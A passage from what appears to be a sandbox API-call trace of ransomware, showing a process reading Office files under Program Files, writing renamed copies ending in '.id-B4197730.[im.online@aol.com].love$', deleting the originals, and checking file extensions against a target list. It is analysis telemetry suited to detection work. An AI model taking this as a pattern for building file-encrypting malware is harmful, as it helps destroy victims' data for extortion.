lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0248.362] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=6392) returned 1 [0248.362] CloseHandle (hObject=0x53c) returned 1 [0248.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid")) returned 0x220 [0248.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0249.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0249.092] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.092] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0249.093] GetLastError () returned 0x0 [0249.093] ReadFile (in: hFile=0x45c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x18f8, lpOverlapped=0x0) returned 1 [0249.157] WriteFile (in: hFile=0x388, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x1900, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x1900, lpOverlapped=0x0) returned 1 [0249.158] ReadFile (in: hFile=0x45c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0249.158] WriteFile (in: hFile=0x388, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xea, lpOverlapped=0x0) returned 1 [0249.158] SetEndOfFile (hFile=0x388) returned 1 [0249.158] CloseHandle (hObject=0x388) returned 1 [0249.158] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.158] SetEndOfFile (hFile=0x45c) returned 1 [0249.275] CloseHandle (hObject=0x45c) returned 1 [0249.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0249.276] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid")) returned 1 [0249.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0249.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0249.277] lstrlenW (lpString=".doc") returned 4 [0249.277] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0249.277] lstrlenW (lpString=".docx") returned 5 [0249.277] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0249.277] lstrlenW (lpString=".pdf") returned 4 [0249.277] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0249.277] lstrlenW (lpString=".xls") returned 4 [0249.277] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0249.277] lstrlenW (lpString=".xlsx") returned 5 [0249.277] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0249.277] lstrlenW (lpString=".ppt") returned 4 [0249.277] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0249.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0249.277] lstrlenW (lpString=".zip") returned 4 [0249.277] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0249.277] lstrlenW (lpString=".rar") returned 4 [0249.277] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0249.277] lstrlenW (lpString=".bz2") returned 4 [0249.277] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0249.277] lstrlenW (lpString=".7z") returned 3 [0249.277] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0249.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0249.277] lstrlenW (lpString=".dbf") returned 4 [0249.277] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0249.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0249.277] lstrlenW (lpString=".1cd") returned 4 [0249.277] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0249.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0249.278] lstrlenW (lpString=".jpg") returned 4 [0249.278] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0249.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0249.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0249.278] lstrlenW (lpString=".doc") returned 4 [0249.278] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0249.278] lstrlenW (lpString=".docx") returned 5 [0249.278] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0249.278] lstrlenW (lpString=".pdf") returned 4 [0249.278] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0249.278] lstrlenW (lpString=".xls") returned 4 [0249.278] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0249.278] lstrlenW (lpString=".xlsx") returned 5 [0249.278] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0249.278] lstrlenW (lpString=".ppt") returned 4 [0249.278] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0249.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0249.278] lstrlenW (lpString=".zip") returned 4 [0249.278] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0249.278] lstrlenW (lpString=".rar") returned 4 [0249.278] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0249.278] lstrlenW (lpString=".bz2") returned 4 [0249.278] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0249.278] lstrlenW (lpString=".7z") returned 3 [0249.278] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0249.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0249.278] lstrlenW (lpString=".dbf") returned 4 [0249.278] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0249.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0249.279] lstrlenW (lpString=".1cd") returned 4 [0249.279] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0249.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0249.279] lstrlenW (lpString=".jpg") returned 4 [0249.279] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0249.279] lstrcmpiW (lpString1=".eftx", lpString2=".love$") returned -1 [0249.279] lstrlenW (lpString="Extreme Shadow.eftx") returned 19 [0249.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0249.397] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=340217) returned 1 [0249.397] CloseHandle (hObject=0x488) returned 1 [0249.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx")) returned 0x220 [0249.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0249.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0249.402] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.402] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0249.406] GetLastError () returned 0x0 [0249.406] ReadFile (in: hFile=0x488, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x530f9, lpOverlapped=0x0) returned 1 [0249.419] WriteFile (in: hFile=0x4e4, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x53100, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x53100, lpOverlapped=0x0) returned 1 [0249.426] ReadFile (in: hFile=0x488, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0249.426] WriteFile (in: hFile=0x4e4, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xfa, lpOverlapped=0x0) returned 1 [0249.426] SetEndOfFile (hFile=0x4e4) returned 1 [0249.426] CloseHandle (hObject=0x4e4) returned 1 [0249.426] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.426] SetEndOfFile (hFile=0x488) returned 1 [0249.544] CloseHandle (hObject=0x488) returned 1 [0249.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0249.545] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx")) returned 1 [0249.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0249.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0249.546] lstrlenW (lpString=".doc") returned 4 [0249.546] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0249.546] lstrlenW (lpString=".docx") returned 5 [0249.546] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0249.546] lstrlenW (lpString=".pdf") returned 4 [0249.546] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0249.546] lstrlenW (lpString=".xls") returned 4 [0249.546] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0249.546] lstrlenW (lpString=".xlsx") returned 5 [0249.546] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0249.546] lstrlenW (lpString=".ppt") returned 4 [0249.546] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0249.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0249.546] lstrlenW (lpString=".zip") returned 4 [0249.546] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0249.546] lstrlenW (lpString=".rar") returned 4 [0249.546] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0249.546] lstrlenW (lpString=".bz2") returned 4 [0249.546] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0249.546] lstrlenW (lpString=".7z") returned 3 [0249.546] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0249.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0249.546] lstrlenW (lpString=".dbf") returned 4 [0249.546] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0249.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0249.546] lstrlenW (lpString=".1cd") returned 4 [0249.546] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0249.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0249.546] lstrlenW (lpString=".jpg") returned 4 [0249.546] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0249.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0249.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0249.547] lstrlenW (lpString=".doc") returned 4 [0249.547] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0249.547] lstrlenW (lpString=".docx") returned 5 [0249.547] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0249.547] lstrlenW (lpString=".pdf") returned 4 [0249.547] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0249.547] lstrlenW (lpString=".xls") returned 4 [0249.547] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0249.547] lstrlenW (lpString=".xlsx") returned 5 [0249.547] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0249.547] lstrlenW (lpString=".ppt") returned 4 [0249.547] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0249.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0249.547] lstrlenW (lpString=".zip") returned 4 [0249.547] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0249.547] lstrlenW (lpString=".rar") returned 4 [0249.547] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0249.547] lstrlenW (lpString=".bz2") returned 4 [0249.547] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0249.547] lstrlenW (lpString=".7z") returned 3 [0249.547] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0249.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0249.547] lstrlenW (lpString=".dbf") returned 4 [0249.547] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0249.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0249.547] lstrlenW (lpString=".1cd") returned 4 [0249.547] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0249.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0249.547] lstrlenW (lpString=".jpg") returned 4 [0249.547] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0249.547] lstrcmpiW (lpString1=".eftx", lpString2=".love$") returned -1 [0249.548] lstrlenW (lpString="Glossy.eftx") returned 11 [0249.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0249.548] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=335038) returned 1 [0249.548] CloseHandle (hObject=0x488) returned 1 [0249.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx")) returned 0x220 [0249.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0249.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0249.549] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.549] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0249.550] GetLastError () returned 0x0 [0249.550] ReadFile (in: hFile=0x488, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x51cbe, lpOverlapped=0x0) returned 1 [0249.717] WriteFile (in: hFile=0x528, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x51cc0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x51cc0, lpOverlapped=0x0) returned 1 [0249.723] ReadFile (in: hFile=0x488, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0249.723] WriteFile (in: hFile=0x528, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xea, lpOverlapped=0x0) returned 1 [0249.723] SetEndOfFile (hFile=0x528) returned 1 [0249.723] CloseHandle (hObject=0x528) returned 1 [0249.723] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.723] SetEndOfFile (hFile=0x488) returned 1 [0249.874] CloseHandle (hObject=0x488) returned 1 [0249.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0249.874] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx")) returned 1 [0249.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0249.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0249.876] lstrlenW (lpString=".doc") returned 4 [0249.876] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0249.876] lstrlenW (lpString=".docx") returned 5 [0249.876] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0249.876] lstrlenW (lpString=".pdf") returned 4 [0249.876] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0249.876] lstrlenW (lpString=".xls") returned 4 [0249.876] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0249.876] lstrlenW (lpString=".xlsx") returned 5 [0249.876] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0249.876] lstrlenW (lpString=".ppt") returned 4 [0249.876] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0249.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0249.876] lstrlenW (lpString=".zip") returned 4 [0249.876] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0249.876] lstrlenW (lpString=".rar") returned 4 [0249.876] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0249.876] lstrlenW (lpString=".bz2") returned 4 [0249.876] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0249.876] lstrlenW (lpString=".7z") returned 3 [0249.876] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0249.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0249.876] lstrlenW (lpString=".dbf") returned 4 [0249.876] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0249.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0249.876] lstrlenW (lpString=".1cd") returned 4 [0249.876] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0249.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0249.876] lstrlenW (lpString=".jpg") returned 4 [0249.876] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0249.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0249.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0249.877] lstrlenW (lpString=".doc") returned 4 [0249.877] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0249.877] lstrlenW (lpString=".docx") returned 5 [0249.877] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0249.877] lstrlenW (lpString=".pdf") returned 4 [0249.877] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0249.877] lstrlenW (lpString=".xls") returned 4 [0249.877] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0249.877] lstrlenW (lpString=".xlsx") returned 5 [0249.877] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0249.877] lstrlenW (lpString=".ppt") returned 4 [0249.877] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0249.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0249.877] lstrlenW (lpString=".zip") returned 4 [0249.877] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0249.877] lstrlenW (lpString=".rar") returned 4 [0249.877] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0249.877] lstrlenW (lpString=".bz2") returned 4 [0249.877] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0249.877] lstrlenW (lpString=".7z") returned 3 [0249.877] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0249.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0249.877] lstrlenW (lpString=".dbf") returned 4 [0249.877] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0249.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0249.877] lstrlenW (lpString=".1cd") returned 4 [0249.877] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0249.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0249.877] lstrlenW (lpString=".jpg") returned 4 [0249.878] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0249.878] lstrcmpiW (lpString1=".eftx", lpString2=".love$") returned -1 [0249.878] lstrlenW (lpString="Inset.eftx") returned 10 [0249.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0249.879] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=44971) returned 1 [0249.879] CloseHandle (hObject=0x488) returned 1 [0249.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx")) returned 0x220 [0249.879] GetFileAttributesW 